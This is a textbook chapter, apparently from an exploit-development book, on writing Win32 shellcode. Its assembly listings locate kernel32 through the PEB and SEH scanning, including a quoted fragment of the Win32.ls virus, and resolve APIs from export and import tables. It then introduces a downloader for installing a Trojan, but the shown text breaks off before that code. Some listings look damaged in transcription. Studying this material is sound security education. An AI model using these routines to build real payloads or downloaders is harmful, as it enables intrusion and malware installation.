

## Chapter 21

# Creating shellcodes in the Win32 environment

To understand this chapter requires basic familiarity with programming assembly language for Intel IA-32 processors. For those who know this subject, and Win32 systems, this chapter should provide a useful extension of their knowledge.

### What is a shellcode?

Broadly speaking, a shellcode is nothing other than a code fragment, usually written in assembly language, which is the core of an exploit intended to start up the system shell.

Why is a shellcode usually written in assembler? First of all, this is due to size. As we know, the compilers of C and other programming languages generate longer code. In addition, we cannot use relative memory calls, as they will cause errors.

This is, however, not true of the flow control mechanism found in modern programming languages. This is used to handle exceptional events, and error situations in particular. The programming languages that support this mechanism allow us to define the code fragment where an exception occurs, and how to handle an exception if one is reported.

## Types of shellcodes

Today, many different types of shellcode can be found, for example:

- Bind to port shellcode: As the name implies, this is a shellcode that listens in on a certain port and waits for connections from a potential hacker.
- Reverse connect shellcode: Instead of listening in on a specific port and waiting for connections, this shellcode connects to the specific IP address and port usually opened by the hacker.
- Downloading shellcode: Using different methods (HTTP, FTP) this shellcode downloads a file, usually a backdoor, and installs it on the victim's computer. We will analyze an example of this in this chapter.

## Finding the kernel address

How is the kernel address useful to the shellcode? If the shellcode wants to call an API function such as `LoadLibraryA`, it has to know the address of this function in memory. `LoadLibraryA` returns the handle to the module specified in the argument.

There are several methods of searching the API function address. For some of these the method of determining the kernel address in memory is not necessary. Another method uses hard-coded addresses. As the name indicates, we save all the addresses of the API function, and at a minimum those used by our shellcode, as hard-coded addresses. Unfortunately, our shellcode won't work on systems in which the addresses are different and this will probably cause an exception in the program. This in turn will result in a memory protection violation, due to which the application will terminate.

## Exploitation of hard-coded addresses

We will now look at several situations in which hard-coded addresses are used. For this purpose we will use the `getproc` tool.

```
call:> getproc KERNEL32.DLL LoadLibraryA GetProcAddress ExitProcess
```

For Windows 2000 SP4:

```
[KERNEL32.DLL] Module name base address = 79340000h
[LoadLibraryA] API name base address = 793505CFh
[GetProcAddress] API name base address = 7934E6A9h
[ExitProcess] API name base address = 7934E01Ah
```

The “name base address” module is the address under which the kernel has been mapped, while “API name base address” means the mapping address of a specific API function.

We will now look at a short program that uses hard-coded addresses and, using the LoadLibraryA function call (WSOCK32.DLL), returns the handle to the library WSOCK32.DLL. To be more precise, this is an address under which the function is mapped to the process memory. Then using the function GetProcAddress(handle, "WSAStartup") we obtain the address of the function API - WSAStartup, which informs the system that the process will use the Winsock library.

```
-----
; compilation:
;          tasm32 /w0 /m1 /m3 /mx s2,,
;          tlink32 -Tpe -aa s2,s2,,import32.lib,,
;          PEWRSEC.COM s2.exe
;-----

.586p                ; standard directives
.model flat
extern ExitProcess:PROC ; minimum one export
.data
db 'This is only so the compiler does not return an error similar to external
ExitProcess',0
.code
start:
; values of the hard-coded addresses for
; Win 2000 Service Pack 4 (see above)

mov eax,LoadLibraryA_w2k_sp4 ; upload the value 793505CFh to EAX
call eax                    ; call LoadLibraryA using
                           ; a hard-coded address (the handle
                           ; is returned in EAX)

test eax,eax              ; if the value of the EAX register is
0                          ;
jz _error                 ; terminates the program
```

```

call _b                                ; upload the chain address onto the
                                        ; stack
db      'WSAStartup',0                 ; characters 'WSAStartup'
                                        ; here the call lands
push eax                               ; upload the library address to the
                                        ; stack
                                        ; wsock32.dll, whose handle is in
                                        ; EAX

mov eax,GetProcAddress_w2k_sp4        ; upload the value 7934E6A9h to EAX
                                        ; that is the address of the
GetProcAddress fuction
call eax                               ; call the function
test eax,eax                           ; if the value of the EAX register is
0                                       ;
jz _error                              ; terminate the program (gaining
                                        ; the function address wasn't
                                        ; successful)
int 3                                   ; interruption of debugger (the EAX
                                        ; value
                                        ; corresponds to the WSAStartup
                                        ; function)

_error:
push 0                                  ; error code (optional)
mov eax,ExitProcess_w2k_sp4           ; EAX=address of the ExitProcess
                                        ; function
call eax                               ; terminate the process

end start
;----- for Windows 2000 Service Pack 4 end -----

```

Of course the abovementioned examples will stop on the instruction “int 3” only if our addresses are correct. Otherwise our program will jump to the label `_error` and will end.

We will now focus on finding the kernel address of the machine under attack. Each process has a process environment block, or PEB. In systems based on the NT kernel (Windows NT/2000/XP/Vista) this structure is located under a hard-coded address, namely `7FFDF000h`. It contains very useful information regarding the process that is currently running. It is also possible to obtain the PEB address from the TEB (thread environment block), whose structure appears as follows:

```

struct TEB {
    struct _NT_TIB NtTib;
    void* EnvironmentPointer;

```

```
struct _CLIENT_ID ClientId;
    void* ActiveRpcHandle;
    void* ThreadLocalStoragePointer;
    ; below our pointer to the PEB block
    struct _PEB* ProcessEnvironmentBlock;
    struct _ACTIVATION_CONTEXT_STACK ActivationContextStack;
};
```

The pointer to the PEB (in the TEB structure) is offset by 30h (48d) bytes from the beginning of the structure.

Therefore, to obtain the PEB address we will use an example code (/CD/Chapter21/Listings/s\_k1.asm):

```
;-----
;s_k1.asm
;compilation:
;          tasm32 /w0 /m1 /m3 /mx sk_k1,,
;          tlink32 -Tpe -aa s_k1,s_k1,,import32.lib,,
;          PEWRSEC.COM s_k1.exe
;-----
.586p                                ; standard directives
.model flat

extern ExitProcess:PROC                ; minimum one export

.data
db 'This is only so the compiler does not return an error similar to extern
ExitProcess',0

.code
Start:
mov eax,dword ptr fs:[30h]             ;EAX=pointer to the PEB
int 3                                  ;stop for debugger

exit:      push 0
           call ExitProcess

end start
;-----
```

The TEB is located under the address fs:[0] (fs is the selector), while the field struct \_PEB\* ProcessEnvironmentBlock is at fs:[30h], as mentioned earlier.

The program has already found the PEB address. For the sake of simplicity, we will omit the description of all structure elements and will focus only on those that will be really useful to us. Specifically, the pointer to the structure

PEB\_LDR\_DATA is located under the address PEB:0Ch, or 0Ch (12d) bytes towards the beginning of the process environment block structure, which appears as follows:

```
struct PEB_LDR_DATA {
    DWORD Length;                ; 0
    BYTE Initialized;            ; 4
    void* SsHandle;              ; 8
    struct LIST_ENTRY InLoadOrderModuleList; ; 0ch
    struct LIST_ENTRY InMemoryOrderModuleList; ; 14h
    struct LIST_ENTRY InInitializationOrderModuleList; ; 1ch
};
```

The structure LIST\_ENTRY is described as:

```
struct LIST_ENTRY {
    struct LIST_ENTRY* Flink;    ; 0
    struct LIST_ENTRY* Blink;   ; 4
};
```

The most useful structure for us will be the one under the address 1Ch; that is, the InInitializationOrderModuleList. This is a list of modules located (mapped) in the process memory, including the kernel32.dll module we are looking for.

The above situation can be illustrated more clearly by the modified example `s_k1.asm (/CD/Chapter21/Listings/s_k1_2.asm)`:

```
-----
;s_k1.asm
;compilation:
;      tasm32 /w0 /m1 /m3 /mx sk_k1,,
;      tlink32 -Tpe -aa s_k1,s_k1,,import32.lib,,
;      PEWRSEC.COM s_k1.exe
-----
.586p                ; standard directives
.model flat

extern ExitProcess:PROC ; minimum one export

.data
db 'This is only so the compiler does not return an error similar to extern
ExitProcess',0

.code
start:
```

```

mov eax,dword ptr fs:[30h]           ;EAX=pointer to the PEB
mov eax,dword ptr [eax+0ch]         ;PEB_LDR_DATA
mov esi,dword ptr [eax+1ch]         ;EAX=PEB:InInitializationOrderModuleList

```

comment \$

At this moment ESI points to LIST\_ENTRY, a list containing the imagebase (location/mapping address) of a specific module in memory (for example of the ntdll.dll module)

```

dd      *forwards_in_the_list       ; ESI+0
dd      *backwards_in_the_list     ; +4
dd      imagebase_of_ntdll.dll     ; +8
dd      imagetimestamp             ; +44h

```

As can be seen, the fields under the addresses 0 and 4 at the beginning of the structure (`forwards_in_the_list` and `backwards_in_the_list`) are pointers to the next structures, which contain information about various modules and create the chain. The zero structure, which we currently have in the ESI register, contains an imagebase of the ntdll.dll module. We will use the `forwards` field to obtain information about the module kernel32.dll, which is our target.

\$

```

lodsd                                     ; we will use the forwards field
                                           ; now in EAX
                                           ; next structure is located

```

```

mov eax,[eax+08h]                         ; structure 2, field imagebase
int 3                                     ; trap for debugger
exit:      push 0
           call ExitProcess

```

end start

-----

After starting up the program, when the debugger stops on the instruction “int 3,” we should notice that the address under which the kernel is mapped is located in the EAX register.

This can be checked with the command “what eax” in the Softice debugger, but this shouldn’t present any trouble if the reader is using another debugger.

In this way we have found the kernel address. There are many methods of searching for the kernel address in memory. They are most often used when creating viruses. Similar techniques include memory scanning using the SEH (structured exception handling) gateway, which intercepts application

exceptions; hard saving of several kernel addresses for each system version; and the use of the SEH gateway.

There are many possibilities, but PEB is the best and quickest solution in this case.

Before we proceed with an example code using the SEH gateway, we will discuss this mysterious structure. If a program carries out an incorrect instruction, or refers to a nonexistent memory address, it will cause an exception, due to which the whole application will terminate with a message such as “xxx.exe has executed a forbidden operation...” There are many examples of such messages.

However, it doesn't always have to end like this. When we set the SEH gateway, at the moment it creates an exception, the program, instead of terminating, jumps to our procedure. As a result we take over the exception and our application doesn't have to stop working.

This all depends on which steps we undertake in such an event ([/CD/Chapter21/Listings/withoutgateway.asm](#)).

```
-----  
;withoutgateway.asm – an example application to create the exception  
;compilation:  
;      tasm32 /w0 /m1 /m3 /mx withoutgateway,,  
;      tlink32 -Tpe -aa withoutgateway,withoutgateway,,import32.lib,,  
;      PEWRSEC.COM withoutgateway.exe  
-----  
.586p                                ; standard directives  
.model flat  
  
extern ExitProcess:PROC                ; minimum one export  
extern MessageBoxA:PROC  
  
.data  
db 'This is only so the compiler does not return an error similar to extern  
ExitProcess',0  
start:xor eax,eax  
call eax                                ; call the exception, jump into the address 0  
  
exit:  
push 0  
call ExitProcess  
-----
```



After the program “withoutgateway.exe” is started up, an exception will be called, as a result of which the application should terminate, and the user should be informed about this.

We will refer now to the program “gateway.exe” (/CD/Chapter21/Listings/gateway.asm):

```
-----
;gateway.asm - example of installing the SEH gateway
;compilation:
;          tasm32 /w0 /m1 /m3 /mx gateway,,
;          tlink32 -Tpe -aa gateway,gateway,,import32.lib,,
;          PEWRSEC.COM gateway.exe
-----
.586p                                ; standard directives
.model flat

extern ExitProcess:PROC                ; minimum one export
extern MessageBoxA:PROC
.data
db 'This is only so the compiler does not return an error similar to extern
ExitProcess',0

.code
start:

                                ; gateway installer
push offset our_handler            ; upload the address of our gateway onto the
                                ; stack
push dword ptr fs:[0]             ; upload the address of the old gateway onto
                                ; the stack
mov dword ptr fs:[0],esp          ; create a new gateway!
xor eax,eax
call eax                            ; call the exception, jump to the address 0
exit:
push 0
call ExitProcess

                                ; gateway uninstaller
our_handler:
pop dword ptr fs:[0]              ; reset gateway
pop eax                            ; remove the address of our gateway
push 0                             ; messagebox type
call put_1                          ; upload the address of the message box title
db "Exception found",0             ; onto the stack
put_1:
call put_2                          ; upload the address of the message box text
db "I am in the SEH gateway, I found an exception",0 ; onto the stack
put_2:
push 0                             ; window handle (NULL)
call MessageBoxA                   ; call the MessageBoxA function
jmp exit
end start
-----
```

If everything goes according to plan, we will see on the screen a window informing us that the exception has been successfully intercepted and that the application has continued to function (without a window informing us about the memory protection violation as in the program `withoutgateway.exe`).

Below there is the same program written in the C language using the construction `__try` and `__except`, the equivalents of our installer and uninstaller in assembler (`/CD/Chapter21/Listings/gateway.c`).

```
//-----  
// gateway.c  
// Microsoft Visual C Compiler, Studio version 6.0  
//-----  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <windows.h>  
  
int OurHandler(void) {  
    // inform the user about catching the exception using a messagebox  
    return MessageBox(NULL,"Exception found","I am now in the SEH gateway,  
        I caught the exception ",MB_ICONINFORMATION);  
}  
  
__try {  
    __asm {  
        xor eax,eax    // reset the EAX register  
        call eax      // jump to the address zero -> exception  
    }  
  
} __except(OurHandler()) { } // if an exception occurs, transfer the control  
// to the OurHandler function  
return 0;  
}
```

The reader can find a detailed SEH description under the address:

```
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/debug/base/structured\_exception\_handling.asp
```

As we have now briefly discussed structured exception handling, we will proceed to the code fragment, which describes gaining the kernel address using the SEH gateway and hard-coded addresses.

```
-----  
;The code below is a fragment of the Win32.ls virus code,
```



```
    cmp eax,not 'ZM'           ;'MZ' beginning of the file .exe -> see
                               ;below file specification
    jnz @bad1                 ;no -> check the next address
    mov eax,[esi + 03ch]      ;we have found the MZ tag,
                               ;now check if
                               ;if the file is the PE file
    add eax,ebx               ;add to the EAX imagebase
    xchg eax,esi              ;ESI=EAX
    lodsd                     ;read 4 bytes under ESI
    not eax                   ;negate EAX
    cmp eax,not 'EP'         ;is the file
                               ;a portable executable file
                               ;if yes, we have the kernel!

    jnz @bad1                 ;if not, try the next address

    pop dword ptr fs:[0]      ;set the old gateway
    pop eax ebp esi           ;clear the stack

    int 3                     ;EBX = kernel address in memory
                               ;EBP=delta handler
                               ;(offset correction)
```

With the kernel address, we can read the addresses of the API function! So we proceed to the next section of this chapter.

### Finding API addresses using the kernel's export section

To understand the essence of this section we should look at the structure of the PE file. It is described very clearly on the following website:

<http://www.wheaty.net>

We recommend you read the information presented on this site. Now, however, we'll have a closer look at another simple scheme. We won't be describing each field, but only those we will be dealing with later.

### API functions

The API (application programming interface) functions are exported by various kinds of libraries, e.g., kernel32.dll, user32.dll, and winsock32.dll. These functions are exceptionally useful in creating programs for systems from the Win32 family. They constitute a point of communication with the system and can call certain specified actions.

## What the shellcode needs the API functions for

Like any other program, a shellcode has to execute specific operations, such as create a file. In most cases it has to use the API functions to do this. And here we face a problem. A normal program has all the addresses of the functions it uses written in an import address table (IAT), but a shellcode doesn't have any information about the addresses of the API functions. We can of course obtain these addresses, like the kernel address, but it lowers the shellcode efficiency considerably. To solve this problem, we search the export section of a specific library or the IAT.

## The export section

The export section is a specific structure of the PE file, in which all the information about the functions being exported is saved. The address under which the export section is located is 078h towards the PE header (which is of course relative).

How can we get to the export section of a specific library? The next example illustrates how this task can be performed (`/CD/Chapter21/Listings/sexp.asm`).

```
-----  
;sexp.asm - example of gaining address of the kernel's export section  
;compilation:  
;          tasm32 /w0 /m1 /m3 /mx sexp,,  
;          tlink32 -Tpe -aa sexp,sexp,,import32.lib,,  
;          PEWRSEC.COM sexp.exe  
-----  
.586p                                ; standard directives  
.model flat  
  
extern ExitProcess:PROC                ; minimum one export  
extern MessageBoxA:PROC  
  
.data  
db 'This is only so the compiler does not return an error similar to extern  
ExitProcess',0  
  
.code  
start:  
  
call delta                            ;the above code counts
```

```

delta:
pop ebp                ;delta handle
sub ebp,offset delta  ;in this case it should amount to
                       ;zero for obvious reasons
mov eax,dword ptr fs:[30h] ;EAX = pointer to the PEB block
mov eax,dword ptr [eax+0ch]
mov esi,dword ptr [eax+1ch] ;EAX=PEB:InInitializationOrderModuleList

lods                    ; we will use the forwards field
                       ; in EAX now
                       ; next structure is located

mov eax,[eax+08h]      ; structure, 2 field imagebase
mov ebx,eax            ; in EAX imagebase of the kernel!
                       ; EBX=EAX=imagebase
add eax,[eax + 03ch]  ;address of the PE header
                       ;(relative, see above - specification)
mov eax,[eax + 078h]  ;address of the export section
                       ;(relative, see above - specification)
add eax,ebx            ;add to the EAX imagebase (EBX), to
                       ;obtain the VA address (Virtual Address)

int 3                 ;trap for debugger, in EAX=virtual address
                       ;of the export section of the kernel

exit:
push 0
call ExitProcess

end start

```

This is the beginning of the export section (we will focus only on fields that interest us):

```

...
018h  dd?      quantity of names being exported by the library
01ch  dd?      addresses of the functions being exported by the library
                (pointer to the table)
01ch  dd?      addresses of the function names being exported by the library
                (pointer to the table)
024h  dd?      address of the function indexes (pointer to the table)
...

```

We should notice that we are searching for the function “OurAPIFunction.” First we check if a specific element of the table with the function names corresponds to the character chain OurAPIFunction. If so, we have to save the element number we are currently processing, to the auxiliary variable, in order to finally obtain the function address.

Below is a fragment of the tdump program output defining exports in the kernel32.dll library:

```

Number interesting RVAs 00000010
Name                   RVA             Size
-----
Exports                00057570      00005BD5

Exports from KERNEL32.dll

827 exported name(s), 827 export address(es). Ordinal base is 1.
Ordinal RVA           Name
-----
0000 0001b65b         AddAtomA
0001 0000df58         AddAtomW
0002 0004639d         AddConsoleAliasA
0003 00046366         AddConsoleAliasW
0004 00047187         AllocConsole
0005 000355b2         AllocateUserPhysicalPages
0006 00016c75         AreFileApisANSI
0007 00045af4         AssignProcessToJobObject
0008 0002b9f6         BackupRead
0009 0002bc52         BackupSeek
0010 0002c5b9         BackupWrite
(...)
0043 000146c0         CopyFileA
0044 000324d4         CopyFileExA
0045 00014736         CopyFileExW
0046 00020069         CopyFileW
0047 0004876a         CreateConsoleScreenBuffer
0048 000239d8         CreateDirectoryA
0049 0002e0a8         CreateDirectoryExA
0050 0001f9fd         CreateDirectoryExW
(...)
0822 0000fa6d         lstrcpynA
0823 0000be4e         lstrcpynW
0824 00015d89         lstrlen
0825 00015d89         lstrlenA
0826 0000d20c         lstrlenW

```

As we can see, the kernel32.dll library exports 827 API functions. The last exported function is lstrlenW. We should remember that the indexing starts from zero, therefore tdump saved the lstrlenW function under the position 0826.

The whole searching method looks like this (/CD/Chapter21/Listings/sapi.asm):

```

;-----
;sapi.asm - example of searching the API function address from the
; export section
; compilation:

```

```

;          tasm32 /w0 /m1 /m3 /mx sapi,,
;          tlink32 -Tpe -aa sapi,sapi,,import32.lib,,
;          PEWRSEC.COM sapi.exe
;-----
.586p                                ; standard directives
.model flat

extern ExitProcess:PROC              ; minimum one export

.data
db 'This is only so the compiler does not return an error similar to extern
ExitProcess',0

.code
start:

call delta                            ;the above code counts
delta:
pop ebp                               ;delta handle
sub ebp,offset delta                 ;in this case it should amount to
;zero for obvious reasons

mov eax,dword ptr fs:[30h]           ;EAX=pointer to the PEB block
mov eax,dword ptr [eax+0ch]
mov esi,dword ptr [eax+1ch]         ;EAX=PEB:InInitializationOrderModuleList

lodsd                                ;we will use the forwards field
;in EAX now
;next structure is located

mov eax,[eax+08h]                   ;structure, 2 field imagebase
;in EAX imagebase of the kernel!

;here I used
;an algorithm and a method coded
;by mort (much faster
;than mine)

mov ecx,1                            ;searching one API function
mov ebx,eax                          ;EBX=EAX and this all = imagebase values
;of the kernel from the PEB block
call GETAPI                          ;find the address of the API function
int 3                                ;trap for debugger our address is located in
;the EAX register
jmp exit                             ; terminate the process

;INPUT: EAX i EBX = of a specific module imagebase
;ECX=how many functions we want to find
GETAPI:                              ;our function, which will be searching for
;the function address in the export section

```



```

add eax,[eax + 03ch]           ;address of the PE header (relatively,
                               ;see above - specification)
mov  eax,[eax + 078h]         ;address of the export section (relatively,
                               ;see above - specification)
add  eax,ebx                  ;add to the EAX imagebase (EBX)
add  eax,018h                 ;shift to the field "names' quantity"
xchg eax,esi                  ;ESI=EAX

push ecx                       ;how many addresses have to be looked for

lods                           ;in EAX number of the API names exported
                               ;by the library
push eax                       ;upload onto stack (save for later)
inc  eax                       ;value we will be decreasing
                               ;by one, to obtain the name index
push eax                       ;upload onto stack (save for later)
lods                           ;read into EAX pointer to the table with
                               ;addresses API      push eax
                               ;upload onto stack (save for later)
lods                           ;read into EAX pointer to the names' addresses
push eax                       ;upload onto stack (save for later)
lods                           ;read into EAX pointer to
                               ;ordinals (indexes)
push eax                       ;upload onto stack (save for later)

mov  eax,[esp + 4]             ;EAX=table with the pointers of the api
                               ;function names
                               ;(relative)
add  eax,ebx                  ;EAX+imagebase
xchg eax,esi                  ;ESI=EAX

@nextAPI:
dec  dword ptr [esp + 0ch]     ;decrease by one (see above)

lods                           ;read the name address (relative)
add  eax,ebx                  ;normalize by adding imagebase

mov  ecx,our_function_length   ;ECX=character chain length
                               ;of our function
lea  edi,[ebp+our_function_name] ;EDI=pointer to the character chain
                               ;of our function
mov  edx,esi                  ;EDX=ESI (saving ESI for later)
mov  esi,eax                  ;ESI=EAX (necessary for the cmpsb instruction)
rep  cmpsb                    ;check if our chain is identical
jz   having_api               ;to the one from the export table

mov  esi,edx                  ;restoring the old ESI value
jmp  @nextAPI                 ;searching through the next name

```

```

having_api:

mov eax,[esp + 010h]           ;download the number of the exported API
                               ;functions
sub eax,[esp + 0ch]           ;EAX=is now an index (see above)
shl eax,1                     ;multiplying EAX*2 result in EAX
add eax,[esp]                 ;EAX=ordinal position (relative)
add eax,ebx                   ;normalization of the address through adding
                               ;the imagebase value
push esi                      ;ESI=pointer to the name of the API function,
                               ;onto stack
xchg eax,esi                  ;ESI=EAX
xor eax,eax                   ;reset the EAX register
lodsw                         ;read the word from ESI and upload it to EAX
shl eax,2                     ;multiplying EAX*4 result in EAX
add eax,[esp + 0ch]           ;we download the address position (relative)
add eax,ebx                   ;normalize the address adding the imagebase
                               ;val.
xchg eax,esi                  ;ESI=EAX
lodsd                         ;EAX=points to the address of the API
                               ;function
add eax,ebx                   ;normalize the address adding the value
                               ;imagebase (EBX)

mov dword ptr [ebp+_CreateFileA_adres],eax ;write the found
                                           ;address to the variable

pop esi                       ;reset the pointer to names
dec dword ptr [esp + 014h]     ;decrease the counter by one, we are
                               ;currently searching
                               ;for one function
jnz @nextAPI                  ;this is the end of the reading

@lastAPIDone:
add esp,018h                  ;clear the stack
ret

exit:
push 0
call ExitProcess

our_function_name              db "CreateFileA",0
our_fuction_length             =$_-offset our_function_name
_CreateFileA_adres            dd 0

end start

```

The above code of the kernel's export section gains the API address of the CreateFileA function and writes it to the variable `_CreateFileA_address`. So the call of the CreateFileA function somewhere in the shellcode area should look like the following:

```
push argument_XX
```

```
push argument_X
...
call dword ptr [ebp+_CreateFileA_adres]    <- calls the API function, whose
                                             address is defined in the variable
```

Therefore, when we already know how to find the address of a specific API function, we can proceed with the next section of this chapter.

### Finding API function addresses using the import address table

IAT is a table of addresses for all functions imported from a specific library. If we use the MessageBoxA function in our program, information appears about it in the IAT.

We will now compare several standard applications and check which functions are most frequently imported by them:

```
1) G6FTPSRV.EXE (packed with ASPAK)
   Image base           00400000
   Imports from kernel32.dll
       GetProcAddress
       GetModuleHandleA
       LoadLibraryA

2) INETINFO.EXE
   Image base           01000000
   Imports from KERNEL32.dll
       GetProcAddress(hint = 0153)
       LoadLibraryA(hint = 01df)
       GetModuleHandleA(hint = 013a)

3) WDM.EXE
   Image base           00400000
   Imports from KERNEL32.dll
       LoadLibraryA(hint = 022e)
       GetModuleHandleA(hint = 0167)
       GetProcAddress(hint = 0189)
```

As can be seen, all the applications have imported the same three functions. How can they be useful to us? If we know the address of the LoadLibraryA function (we get it from the IAT), assuming that the application has imported this function, we will be able to easily create a handle to a specific library. Then, with the GetProcAddress function we will obtain the address of the function we were looking for.

The only condition to place and make such a mechanism correctly work in the shellcode is to know the imagebase value of the application under attack. This doesn't constitute a problem for us, because this value is usually constant. The import address table structure appears as follows:

```

UNION
  ID_characteristics      DD    ?                ;0 for the last

  ID_OriginalFirstThunk  DD    IMAGE_THUNK_DATA PTR?      ;import descriptor
                                                                ;relative pointer
                                                                ;to
                                                                ;the structure
                                                                ;IMAGE_THUNK_DATA

  ENDS

  ID_TimeDateStamp       DD    ?                ;this field
                                                                ;doesn't interest us

  ID_ForwarderChain      DD    ?
  ID_Name                DD    BYTE PTR?        ;relative pointer
                                                                ;to the name of the
function
  ID_FirstThunk          DD    IMAGE_THUNK_DATA PTR? ;imported
                                                                ;(relative)
                                                                ;import address table
    
```

The structure IMAGE\_THUNK\_DATA appears like this:

```

UNION
  TD_AddressOfData      DD    IMAGE_IMPORT_BY_NAME PTR? ;pointer to the
                                                                ;structure
;IMAGE_
                                                                ;IMPORT_
                                                                ;BY_NAME

  TD_Ordinal            DD    ?                ;ordinal

  TD_Function           DD    BYTE PTR?        ;CODE PTR
                                                                ;pointer to
                                                                ;the function

  TD_ForwarderString    DD    BYTE PTR?        ;pointer to the next API function
  ENDS
  IMAGE_IMPORT_BY_NAME  STRUC
  IBN_Hint              DW    ?
  IBN_Name              DB    1 DUP (?)
  IMAGE_IMPORT_BY_NAME  ENDS
    
```

In the next example the reader will find the application code, which illustrates how to refer to the import address table ([/CD/Chapter21/Listings/siat.asm](#)).

```
-----  
;siat.asm - example of referring to the IAT (import address table)  
;compilation:  
;          tasm32 /w0 /m1 /m3 /mx siat,,  
;          tlink32 -Tpe -aa siat,siat,,import32.lib,,  
;          PEWRSEC.COM siat.exe  
-----  
.586p                                ; standard directives  
.model flat  
  
extern ExitProcess:PROC                ; minimum one export  
  
.data  
db 'This is only so the compiler does not return an error similar to extern  
ExitProcess',0  
  
.code  
start:  
  
call delta                             ;the above code counts  
delta:  
pop ebp                                ;delta handle  
                                        ;(offset correction)  
sub ebp,offset delta                   ;in this case it should amount to  
                                        ;zero for obvious reasons  
                                        ;at the end of the program)  
add eax,[eax+3ch]                       ;EAX=address of the PE header  
  
mov edi,[eax+80h]                       ;EDI=import address table  
                                        ;(relative address)  
add edi,dword ptr [ebp+imagebase]       ;normalization into virtual address  
int 3                                   ;interruption in debugger - in EDI  
IAT address  
  
exit:  
push 0  
call ExitProcess  
  
imagebase      dd 0400000h              ;imagebase value (see above)
```

As we already know how to reach the import address table, we will now focus on an example that finds the call of the function `GetModuleHandleA` or `LoadLibraryA`, which will be useful for us to gain the library handle of the kernel, among other things ([/CD/Chapter21/Listings/iat.asm](#)).



```

add eax,dword ptr [ebp+imagebase] ;normalization into virtual
;address

loop_iat:
mov ecx,[edx] ;ordinal
add ecx,dword ptr [ebp+imagebase] ;normalize
add ecx,2 ;ECX points to the name
cmp dword ptr [ecx],'MteG' ;is
;jne next__ ;GetModuleHandleA this
;jne next__ ;function?
;jne next__ ;if not, check if it is not
;jne next__ ;LoadLibraryA
;jne next__ ;as above

near_jump: ;if yes,
mov eax,[eax] ;EAX=address of the
;imported function

lea ebx,[ebp+kernel] ;upload onto the stack the
;chain
;"KERNEL32.DLL"
;of the imported API
;function

push ebx
call eax ;call the function
;LoadLibraryA
;or GetModuleHandleA

mov dword ptr [ebp+kernel_addr],eax ;save the kernel address
int 3 ; interruption for debugger
; in EAX imagebase of the
; kernel
jmp exit ;terminating the work

next__:
cmp dword ptr [ecx],'daoL' ;is LoadLibraryA this
;function
;jne next_ ;no, continue searching
cmp dword ptr [ecx+4],'rbiL'
je near_jump ;if yes, perform
;this function!

next_: ;continuing the search

add edx,4 ;increase EDX by 4
add eax,4 ;increase EAX by 4
jmp loop_iat ;continue searching

exit: push 0
call ExitProcess ;exit
;-----data-----
imagebase dd 0400000h ;imagebase value of our

```

```
kernel      db "KERNEL32.DLL",0      ;program
kernel_addr dd 0                      ;character chain
                                         ;"KERNEL32.DLL"
                                         ;variable that will
                                         ;intercept
                                         ;the kernel address
```

The above example searches through the IAT import table for the functions LoadLibraryA and GetModuleHandleA, which are then used to gain the address of the library kernel32.dll. As we can see, this method seems to be less complex than searching through the export section. So now let's proceed with the final section of this chapter.

## Shellcode to download and start up a Trojan horse using Win32-IF

### Win32 Internet Functions

Win32-IF (Internet Functions) are the functions exported by the wininet.dll library, which were created to make the use of such protocols as FTP, HTTP, and GOPHER easier. What is more important, when using these functions, we don't have to create our own sockets, which is very convenient and offers smaller code size than a standard shellcode based on sockets. The functions of the wininet.dll library that will be useful to us are specified below.

InternetOpen function:

```
HINTERNET InternetOpen(
    LPCTSTR lpszAgent,
    DWORD dwAccessType,
    LPCTSTR lpszProxyName,
    LPCTSTR lpszProxyBypass,
    DWORD dwFlags
);
```

This function notifies the system that the user (or application) is going to use the functions provided by the wininet library.



```

Parameters:

>lpszAgent - name of the application that will use the function (character chain)
>dwAccessType - assumes the following values:

INTERNET_OPEN_TYPE_DIRECT           -direct mode
INTERNET_OPEN_TYPE_PRECONFIG        -reads the configuration
                                     -connections or proxy
                                     -directly from the register

INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY
INTERNET_OPEN_TYPE_PROXY            -the above two
                                     -determine the proxy

>lpszProxyName - if our program doesn't use a proxy, the value of this parameter is
0.

>lpszProxyBypass - exceptions for proxy, if we don't use a proxy the value is 0.
>dwFlags - Assumes the following values:

INTERNET_FLAG_ASYNC                 - online mode
INTERNET_FLAG_FROM_CACHE            - all information will be read from CACHE
INTERNET_FLAG_OFFLINE               - working in offline mode

```

The next useful function is `InternetOpenUrlA`. The definition of this function is to be found below:

```

HINTERNET InternetOpenUrl(
    HINTERNET hInternet,
    LPCTSTR lpszUrl,
    LPCTSTR lpszHeaders,
    DWORD dwHeadersLength,
    DWORD dwFlags,
    DWORD_PTR dwContext
);

```

This function opens a source (it works with the HTTP, FTP, and GOPHER protocols).

```

>hInternet           - handle returned by the InternetOpen function
>lpszUrl             - requested address e.g. http://server/file.exe
>lpszHeaders         - headers that have to accompany the query
>dwHeaderLength     - header length
>dwFlags             - Assumes the values:

INTERNET_FLAG_EXISTING_CONNECT
INTERNET_FLAG_HYPERLINK
INTERNET_FLAG_IGNORE_CERT_CN_INVALID
INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP
INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS
INTERNET_FLAG_KEEP_CONNECTION
INTERNET_FLAG_NEED_FILE
INTERNET_FLAG_NO_AUTH

```

```
INTERNET_FLAG_NO_AUTO_REDIRECT
INTERNET_FLAG_NO_CACHE_WRITE
INTERNET_FLAG_NO_COOKIES
INTERNET_FLAG_NO_UI
INTERNET_FLAG_PASSIVE
INTERNET_FLAG_PRAGMA_NOCACHE
INTERNET_FLAG_RAW_DATA
INTERNET_FLAG_RELOAD
INTERNET_FLAG_RESYNCHRONIZE
INTERNET_FLAG_SECURE

    > dwContext          - the additional argument in our case is 0
```

Next is the InternetQueryDataAvailable function:

```
BOOL InternetQueryDataAvailable(
    HINTERNET hFile,
    LPDWORD lpdwNumberOfBytesAvailable,
    DWORD dwFlags,
    DWORD dwContext
);
```

This function in the variable `lpdwNumberOfBytesAvailable` returns the size of the object we are going to download.

```
>hFile          -handle returned by InternetOpenUrlA
>lpdwNumberOfBytesAvailable -address of the variable, into which the
                        number of bytes available to download will be written
>dwFlags        -resetting, it must be zero
>dwContext      -resetting, it must be zero
```

InternetReadFile function:

```
BOOL InternetReadFile(
    HINTERNET hFile,
    LPVOID lpBuffer,
    DWORD dwNumberOfBytesToRead,
